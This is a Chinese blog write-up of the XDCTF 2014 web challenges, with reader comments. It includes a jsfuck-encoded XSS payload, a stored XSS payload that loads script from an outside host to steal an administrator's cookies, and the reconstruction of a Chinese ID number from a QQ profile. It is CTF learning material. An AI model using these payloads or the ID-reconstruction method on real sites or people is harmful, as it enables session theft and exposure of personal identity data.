首页 > WriteUp > XDCTF Web的WriteUp

XDCTF Web的WriteUp

2014年10月4日 发表评论 阅读评论

写在前面

1. 这个部分的题目是我,z7y,2/4三个人共同完成的,所以有些部分写的可能不详细,敬请谅解
2. 我只写了我们做过去且拿到flag的,对于没拿到的(包括web150 web270)由于一些其他原因,包括但不限于不会做,做了一半失败了等等最终没拿到flag,所以直接不写出来,以免的丢人
3. 转载请注明出处- -!

Web20

老实说,这题目很简单,简单的我无言以对,但是TMD就是花了很长时间去看…
题目地址:http://game1.xdctf.com:8081/H86Ki4NnCSVv/
提示和前端安全没任何关系,遂不考虑html js,这题难了我一下午了,直到一位基友告诉我去看看php彩蛋
相关文章:http://www.myhack58.com/Article/html/3/8/2011/31825.htm
遂在URL之后加入php彩蛋
http://game1.xdctf.com:8081/H86Ki4NnCSVv/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
出现phpinfo信息,拉到最底下即可见flag


Web50

题目要求是查看某牛写的XSS神器,把该神器下载下来
下载到文件之后,解压,里面有个名为XSS.crx的文件,crx是Chrome类浏览器的扩展,采用zip方式压缩而成,把该crx改名为zip,解压,得到以下文件


原谅我第一眼就瞄上了fuck.jpg,遂手贱右键用记事本查看,发现以下内容

看到那些数字,隐隐感觉像是Ascii码,于是抄百度以Ascii形式弄出来

107 ---- k
101 ---- e
121 ---- y
 32 ----  (空格)
105 ---- i
115 ---- s
 58 ---- :
 88 ---- X
 68 ---- D
 83 ---- s
101 ---- e
 99 ---- c
 64 ---- @
 50 ---- 2
 79 ---- O
 49 ---- 1
 52 ---- 4

拼起来之后 key is:XDsec@2O14
过关…

Web70

一道XSS题目,输入的东西会输出在script标签当中,字母a-z,A-Z都会被过滤成_,所以不能使用字母,遂想到jsfuck,一个纯符号来完成的js
把alert(1)用jsfuck编码之后获得以下代码

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

直接提交,弹窗,


把该答案发送给官方即得flag

Web100

2/4用了一个神器直接秒了- -!
具体过程我也不知道唉- -!
神器下载地址:http://www.caesum.com/handbook/Stegsolve.jar
装好java环境,打开神器,载入图片,然后如图选择


然后选择菜单栏的Analyse—Data Extract,然后秒出- -!

Web150

智商拙计,不会做TAT

Web180

这题目几乎和web没啥关系,多半是社工
首先下载到wwwroot.rar,解压,发现是aspcms,一开始不知道,在源程序,数据库翻了半天,啥都没有,最后尝试看看是否有隐藏文件,在web根目录下发现了about.asp比较可疑


获得了一些重要信息,列举如下

UserPass="3895"  '密码
mNametitle ="gh0st2014"  ' 标题
Copyright="qq:2725629821"  '版权

然后得到了题目
username=gh0st2014
提示说password为身份证号,于是去查这个QQ号,获得以下信息


年龄:29 可推断出出生年份为1985
生日:5月7日
得到了身份证中的生日信息为19850507
所在地:陕西省西安市长安区 可得到身份证前六位地区信息

查询地址:http://tool.114la.com/live/idcard/
现在已经知道身份证号前14位
61012119850507
在其空间发现这么一条说说

得到了身份证最后4位为3895
最后,总结信息
username=gh0st2014
password=610121198505073895
提交即可过关

Web200

题目地址:http://y0pk678.xdctf.com:8081/
进去首先看到这样子


u may need help information.
随手在URL之后打个help,出现下列信息

出现这个提示,然后右键查看源代码发现一个a标签,没有写内容,打开这个a标签

然后出现这个提示

似乎是一个没说完的话,刷新一次,发现话语又变了

于是多刷新几次,获得以下提示语

----------------
我猜你可能不知道还有第二行

咦,怎么还有第三行
----------------
哦,我懂了些什么

奇葩的码畜你不要卖萌了
----------------
咦,怎么还有第三行

奇怪,为什么没全部显示出来
----------------
奇怪,为什么没全部显示出来

哦,我懂了些什么
----------------
这是newapp.py的说明文件

我猜你可能不知道还有第二行
----------------

看起来是可以接在一起的,把他们接在一起之后

这是newapp.py的说明文件

我猜你可能不知道还有第二行

咦,怎么还有第三行

奇怪,为什么没全部显示出来

奇葩的码畜你不要卖萌了

我只能说,好变态····一次读取3行,要结合上一行的内容去找到下一行的位置
根据之前获得的一个信息:这是这是newapp.py的说明文件
知道有个文件名为newapp.py,然后查看这个URL
http://y0pk678.xdctf.com:8081/read?file=readme
隐隐感觉是文件读取,尝试吧readme换成newapp.py,读取出了其他的东西


多刷新几次,获得了不同的内容,和之前的readme一样,也是需要拼接的,但是拼接之前,需要更多地内容,于是用seraph写了个爬虫

dim target
dim text
dim line

function main
  target = "http://y0pk678.xdctf.com:8081/read?file=newapp.py"
  line = "-----------------"&chr(13)&chr(10)    //分隔+换行
  do  //无限循环
    text = GetHTTP(target) //获取地址内容
    Print(text)
    WriteTextToFile("help.txt",GetHTTP(target),true) //获取的内容写入help.txt
    Print(line)
    WriteTextToFile("help.txt",line,true)//写入分隔+换行
  loop
end function

然后让爬虫跑了几分钟,获取了大量的片段,如图


接下来最鬼畜的事情来了,我花了半个小时,对这个该死的代码片段进行了复原,最终得到了以下代码

#!/usr/bin/env python
#coding=utf-8

__author__ = 'le4f.net'

import web
import random

urls = (
  '/getflag', 'xdctf',
  '/help', 'help',
  '/read', 'read',
  '.*','ctf'
)

def func(a):
  if a == 'le4f.net':
    flag = open("flagishere","r").readlines()[0].strip()
    web.header('flag', flag)
    return 'Nice Job!!!'
  else:
    pass
    
class xdctf:
  def GET(self):
    try:
      web.input(_unicode=func(web.input(unabletoread = 'show me flag!!!!').get('unabletoread')))
      return "flag is here?!!show me flag!!!!"
    except:
      pass
class read:
  def GET(self):
    data = web.input(file = 'readme')
    if data['file'].count('.') > 1:
      f = 'readme'
    else:
      f = data['file'].replace('$','').replace('^','.').replace('*','').replace('\\','').replace('/','').replace('\"','').replace('\'','').replace('|','').replace(';','.').replace('<','').replace('>','').replace('&','').lower()
    try:
      print f
      cont = open("./"+f,"r").readlines()
      rand = random.randint(0,len(cont)-2)
      return cont[rand]+'\n'+cont[rand+1]
    except:
      pass



class help:
  def GET(self):
    try:
      return "welcome to my first web.py project."
    except:
      pass

class ctf:
  def GET(self):
    try:
      return "u may need help information."
    except:
      pass

重点在于之前的url定义和xdctf类里的func函数,行9-行30


根据这部分代码可以看到取得flag的url是/getflag,而getflag指向的是xdctf类
在xdctf类中调用了func函数,在func函数中传入值等于le4f.net才会在web的header中显示flag
返回来看xdctf类,func的传入值由unabletoread变量传入,而unabletoread的值以GET方式由HTTP传入,于是构造下列URL
http://y0pk678.xdctf.com:8081/getflag?unabletoread=le4f.net
打开chrome的开发者工具,切换到Network选项卡中,然后刷新,点击资源,在Response Headers中View Source,即可看到flag
如图

Web250

首先进去随便注册一个用户,我这里注册的是
账号:line
密码:line
然后给管理员留言,插入xss代码


等了一段时间发现不行,然后z7y告诉我吧尖括号换成方括号

< --> [
> --> ]
[svg][script]top['loca'+'tion']='javascript:document.documentElement.appendChild(document.createElement('script')).src='//zsy.ca/22';';[/script][svg][/svg][/svg]

过了一段时间果断收到了cookies,
用cookies浏览器登陆之后,右键查看源代码,得到flag

Web270

分四部分,phpok的cms
原谅我智商拙计,仅仅找到一个已发布的注入漏洞,而且不知道如何跨表查询,失败- -!

其他说明

如需转载烦请注明出处
来自于LinE's Blog
From: http://blog.l1n3.net
谢谢~~

分类: WriteUp 标签:
  1. test
    2014年10月5日23:13 | #1

    web150 其实只要百度 php解密 第一条 php神盾解密就可以得到清晰源码,搜 pass 很快就有flag
    web270 百度phpok漏洞 当时第一条搜索结果 sqlmap注入

    • line
      2014年10月6日21:13 | #2

      谢谢提示,我去看看去

  2. test
    2015年9月29日21:42 | #3

    谢谢,受教了:)

  1. 2016年6月18日18:20 | #1